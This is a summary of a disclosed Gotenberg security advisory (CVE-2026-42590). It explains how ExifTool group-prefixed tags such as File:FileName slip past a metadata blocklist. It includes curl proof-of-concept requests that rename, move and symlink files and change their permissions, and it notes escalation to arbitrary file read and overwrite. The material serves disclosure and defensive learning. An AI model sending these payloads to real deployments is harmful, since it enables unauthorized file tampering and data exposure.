# Gotenberg's ExifTool group-prefix syntax bypasses dangerous-tag blocklist

Gotenberg's ExifTool metadata blocklist is bypassed via group-prefix syntax (File:FileName), letting pre-auth attackers rename, move, symlink and chmod files in the container.

- Payout: Research
- Severity: high
- Program: Gotenberg
- Found by: JohannesLks
- Disclosed: 2026-05-07
- CVE: CVE-2026-42590
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-7v3r-m9c8-r855
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-7v3r-m9c8-r855
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:access-control vuln:misconfiguration vuln:path-traversal

**Target:** ExifTool metadata write endpoint (/forms/pdfengines/metadata/write)
**Root cause:** Blocklist compares keys with strings.EqualFold against bare tag names, but ExifTool strips group prefixes (File:) in SetNewValue before matching, so prefixed tags evade the filter. FilePermissions/FileUserID/FileGroupID are not blocked at all.
**Steps:**
1. Send `curl -F "files=@test.pdf" -F 'metadata={"File:FileName":"pwned.pdf"}' http://localhost:3000/forms/pdfengines/metadata/write` to rename the output PDF
2. Send `metadata={"File:Directory":"/tmp"}` to move the file
3. Send `metadata={"File:SymLink":"/tmp/symlink-poc"}` to create a symlink
4. Send `metadata={"FilePermissions":"rwxrwxrwx"}` to chmod the file (unblocked tag)
**How found:** Noticed the blocklist matched bare tag names only, then recognized ExifTool's group-prefix syntax is stripped by SetNewValue in Writer.pl before tag matching, and that the safeKeyPattern regex permits colons.
**Exploitation:** Pre-auth by default; attacker submits crafted metadata JSON to the metadata write endpoint, using group-prefixed pseudo-tags to rename/move/link files inside the container. With mounted volumes or non-containerized deployments, symlink chaining yields arbitrary file read and directory manipulation yields overwrite.
**Escalation:** Symlink creation chained to arbitrary file read; directory move enables file overwrite outside intended paths.
**Insight:** When blocklisting keys for a third-party tool, check that tool's own key-normalization (group prefixes, aliases, case folding) — filter on the post-normalization form, not the raw input. Also audit sibling pseudo-tags (permissions/ownership) the original fix omitted.

## Proof of concept (copied exactly from the original report)

**curl PoC renaming PDF via File:FileName prefix**

```
curl -F "files=@test.pdf" \
  -F 'metadata={"File:FileName":"pwned.pdf"}' \
  http://localhost:3000/forms/pdfengines/metadata/write
```

**curl PoC moving file via File:Directory prefix**

```
curl -F "files=@test.pdf" \
  -F 'metadata={"File:Directory":"/tmp"}' \
  http://localhost:3000/forms/pdfengines/metadata/write
```

**curl PoC symlink creation via File:SymLink prefix**

```
curl -F "files=@test.pdf" \
  -F 'metadata={"File:SymLink":"/tmp/symlink-poc"}' \
  http://localhost:3000/forms/pdfengines/metadata/write
```